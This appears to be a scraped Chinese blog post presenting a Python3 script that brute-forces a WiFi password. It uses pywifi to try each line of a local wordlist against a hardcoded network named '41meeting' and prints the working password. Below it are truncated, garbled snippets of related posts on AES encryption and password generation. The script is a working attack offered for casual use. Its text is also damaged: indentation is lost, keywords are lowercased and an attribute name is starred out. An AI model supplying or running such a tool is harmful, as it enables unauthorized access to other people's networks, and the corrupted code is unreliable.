Python3實現WiFi密碼暴力破解

2021-09-11 02:10:17 字數 1910 閱讀 3794

注:可行性不高,和那些暴力破解wifi的軟體差不多,可能等個幾個鐘都沒破解完,純屬娛樂(萬一運氣好呢哈哈)

需要安裝的擴充套件包 pywifi,依賴包:comtypes

以下是源**:

import time  

import pywifi

from pywifi import const

from asyncio.tasks import sleep

class pojie():

def __init__(self, path):

self.file = open(path, "r", errors="ignore")

wifi = pywifi.pywifi() # 抓取網絡卡介面

self.iface = wifi.inte***ces()[0] # 抓取第乙個無限網絡卡

self.iface.disconnect() # 測試鏈結斷開所有鏈結

time.sleep(0.1) # 休眠1秒

assert self.iface.status() in [const.iface_disconnected, const.iface_inactive] # 測試網絡卡是否屬於斷開狀態

def readpassword(self):

print("開始破解:")

while true:

try:

mystr = self.file.readline()

if not mystr:

break

bool1 = self.test_connect(mystr)

if bool1:

print("密碼正確:-", mystr)

break

else:

print("密碼錯誤:" + mystr)

sleep(3)

except:

continue

def test_connect(self, findstr): # 測試鏈結

profile = pywifi.profile() # 建立wifi鏈結檔案

profile.ssid = "41meeting" # wifi名稱

profile.auth = const.auth_alg_open # 網絡卡的開放,

profile.cipher = const.cipher_type_ccmp # 加密單元

profile.key = findstr # 密碼

self.iface.remove_all_network_profiles() # 刪除所有的wifi檔案

tmp_profile = self.iface.add_network_profile(profile) # 設定新的鏈結檔案

self.iface.connect(tmp_profile) # 鏈結

time.sleep(5)

if self.iface.status() == const.iface_connected: # 判斷是否連線上

isok = true

else:

isok = false

self.iface.disconnect() # 斷開

time.sleep(1)

# 檢查斷開狀態

assert self.iface.status() in [const.iface_disconnected, const.iface_inactive]

return isok

def __del__(self):

self.file.close()

path = r"f://data_temp/passwordwifi01.txt"

start = pojie(path)

start.readpassword()

python3實現CryptoJS AES加密演算法

from crypto.cipher import aes from binascii import b2a hex,a2b hex import base64 class aescrypt def init self,key self.key key.encode utf8 self.mode a...

Python3實現生成隨機密碼的方法

本文例項主要實現建立8位隨機密碼 大小寫字母 數www.cppcns.com字 採用python3生成了初級演算法的隨機密碼。主要功能 如下 author gooptyvyfand import string import random def genpassword lewww.cppcns.co...

Python3生成密碼

使用python3實現簡單的密碼生成功能,隨機且隨意。這裡只是乙個簡單的例子,有必要的話可以深入研究一下。time 2019 9 12 18 24 author 統哥哥 file password generato.py software pycharm import string import r...